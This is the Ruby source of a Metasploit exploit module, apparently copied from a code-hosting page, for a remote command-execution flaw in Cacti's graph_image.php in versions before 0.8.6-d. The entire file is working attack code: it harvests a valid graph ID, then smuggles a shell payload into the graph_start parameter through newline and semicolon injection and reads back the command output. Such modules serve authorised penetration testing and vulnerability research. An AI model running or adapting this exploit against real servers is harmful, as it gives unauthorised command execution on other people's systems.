95 lines
2.2 KiB
Ruby
95 lines
2.2 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Unix::Webapp::Cacti_GraphImage_Execution < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cacti graph_image.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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Raxnet Cacti 'graph_image.php' script. All versions of Raxnet Cacti prior to
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0.8.6-d are vulnerable.
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},
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'Authors' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 3509 $',
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'References' =>
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[
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['BID', '14042'],
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['MIL', '96'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Jan 15 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
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], self.class)
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end
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def exploit
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# Obtain a valid image ID
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res = send_request_cgi({
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'uri' => datastore['URI'],
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'vars_get' =>
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{
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'action' => 'list'
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}
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}, 10)
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if (not res)
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print_status("The server returned: #{res.code} #{res.message}")
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return
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end
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m = res.body.match(/local_graph_id=(.*?)&/)
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if (not m)
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print_status("Could not locate a valid image ID")
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return
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end
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# Trigger the command execution bug
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res = send_request_cgi({
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'uri' => datastore['URI'],
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'vars_get' =>
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{
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'local_graph_id' => m[1],
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'graph_start' => "\necho YYY;#{payload.encoded};echo YYY;echo\n"
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}
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}, 25)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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print("")
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m = res.body.match(/YYY(.*)YYY/)
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if (m)
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print_status("Command output from the server:")
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print(m[1])
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else
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print_status("This server may not be vulnerable")
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end
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else
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print_status("No response from the server")
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end
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end
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end
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end
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